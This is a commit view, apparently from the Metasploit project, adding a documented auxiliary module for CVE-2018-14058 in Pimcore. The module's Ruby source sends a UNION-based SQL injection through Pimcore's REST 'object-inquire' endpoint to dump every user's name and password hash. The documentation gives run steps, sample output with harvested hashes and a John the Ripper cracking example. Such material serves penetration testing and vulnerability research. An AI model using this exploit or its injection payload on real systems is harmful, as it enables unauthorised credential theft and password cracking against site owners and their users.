Land #10670, Pimcore SQLi module

GSoC/Meterpreter_Web_Console
William Vu 2018-09-19 20:49:45 -05:00
commit c5f6d4b8a5
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
2 changed files with 170 additions and 0 deletions

View File

@ -0,0 +1,63 @@
## Description
This module exploits a SQL injection vulnerability in Pimcore's REST web service for versions below 5.3.0. By using a UNION query on the `object inquire` service, this module can steal the usernames and password hashes of all users of Pimcore.
Pimcore begins to create password hashes by concatenating a user's username, the name of the application, and the user's password in the format `USERNAME:pimcore:PASSWORD`.
The resulting string is then used to generate an MD5 hash, and then that MD5 hash is used to create the final hash, which is generated using PHP's built-in `password_hash` function.
The following is an example of cracking a retrieved hash using John the Ripper on OS X (`md5{,sum}` invocation may vary):
```
wvu@kharak:~$ md5 -qs 'admin:pimcore:TrustNo1!!' | john --stdin <(echo 'admin:$2y$10$k6odZgiw2RnC1gbuD2/vRO21SxVuAeUiYYWwRtmYuNHYvZCzEX2Fy')
Created directory: /Users/wvu/.john
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
c28e017eec634579fd9309d08171c115 (admin)
1g 0:00:00:00 14.28g/s 14.28p/s 14.28c/s 14.28C/s c28e017eec634579fd9309d08171c115
Use the "--show" option to display all of the cracked passwords reliably
Session completed
wvu@kharak:~$
```
## Vulnerable Application
Installing composer and running `php composer.phar create-project pimcore/pimcore=5.2.3 ./myproject --no-dev` will install Pimcore and most of its dependencies.
The installation process will give notifications on missing PHP extensions that are required. Additionally, a web server and database must be set up.
Source for Pimcore v5.2.3 can also be found [here](https://www.exploit-db.com/apps/7c759b5b7f2896a7d5461582e149bcaa-pimcore-5.2.3.tar.gz)
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use auxiliary/gather/pimcore_creds_sqli`
4. Do: `set RHOSTS [IP]`
5. Do: `set TARGETURI [URI]`
6. Do: `set APIKEY [KEY]`
7. Do: `run`
8. You should get a list of Pimcore user credentials
## Options
**APIKEY**
Valid API key for accessing Pimcore's REST API in order to perform the injection.
## Scenarios
### Tested on Ubuntu 18.04.1 Running Pimcore v5.2.3
```
msf5 > use auxiliary/gather/pimcore_creds_sqli
msf5 auxiliary(gather/pimcore_creds_sqli) > set rhosts 192.168.37.246
rhosts => 192.168.37.246
msf5 auxiliary(gather/pimcore_creds_sqli) > set apikey 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
apikey => 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
msf5 auxiliary(gather/pimcore_creds_sqli) > run
[+] Credentials obtained:
[+] admin : $2y$10$sBaD3EOAm/i1F3Mm/fwseeq3nyoacdlUt4NkVLZUgJ4FTReJSKIbe
[+] secondUser : $2y$10$DYaFjrYnajTmVhhXSmsh8O5rLrQuPt8Q9Dto3vaQ4747K5kSvWEPy
[+] blah : $2y$10$sJWr.puqXnF5T3DI3L1oqu3aIJRjUtHs9.2pgHEkevEdGrGvO1cBC
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Pimcore List Credentials',
'Description' => %q{
This module extracts the usernames and hashed passwords of all users of
the Pimcore web service by exploiting a SQL injection vulnerability in
Pimcore's REST API.
Pimcore begins to create password hashes by concatenating a user's
username, the name of the application, and the user's password in the
format USERNAME:pimcore:PASSWORD.
The resulting string is then used to generate an MD5 hash, and then that
MD5 hash is used to create the final hash, which is generated using
PHP's built-in password_hash function.
},
'Author' => [ 'Thongchai Silpavarangkura', # PoC
'N. Rai-Ngoen', # PoC
'Shelby Pace' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2018-14058' ],
[ 'EDB', '45208' ]
],
'DisclosureDate' => 'Aug 13, 2018'
))
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to pimcore', '/' ]),
OptString.new('APIKEY', [ true, 'The valid API key for Pimcore REST API', '' ])
])
end
def available?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
res && res.code == 200 && res.body.include?('pimcore')
end
def get_creds
api_uri = normalize_uri(target_uri.path, "/webservice/rest/object-inquire")
cmd = "#{rand(256)}) UNION ALL SELECT CONCAT(name,\" \",password) from users#"
res = send_request_cgi(
'method' => 'GET',
'uri' => api_uri,
'vars_get' => {
'apikey' => datastore['APIKEY'],
'id' => cmd
}
)
unless res
fail_with(Failure::NotFound, 'The request returned no results.')
end
fail_with(Failure::NoAccess, 'API key is invalid') if res.body.include?('API request needs either a valid API key or a valid session.')
format_results(res.get_json_document['data'])
end
def format_results(response)
fail_with(Failure::NotFound, 'No data found') unless response
creds = response.to_s.scan(/"([^\s]*)\s(\$[^(=>)]*)"/)
fail_with(Failure::NotFound, 'Could not find any credentials') if creds.empty?
print_good("Credentials obtained:")
creds.each do |user, pass|
print_good("#{user} : #{pass}")
store_creds(user, pass)
end
end
def store_creds(username, hash)
store_valid_credential(
user: username,
private: hash,
private_type: :nonreplayable_hash,
service_data: {
jtr_format: 'bcrypt',
origin_type: :service,
address: rhost,
port: rport,
service_name: 'mysql',
protocol: 'tcp'
}
)
end
def run
fail_with(Failure::NotFound, 'Could not access the Pimcore web page.') unless available?
get_creds
end
end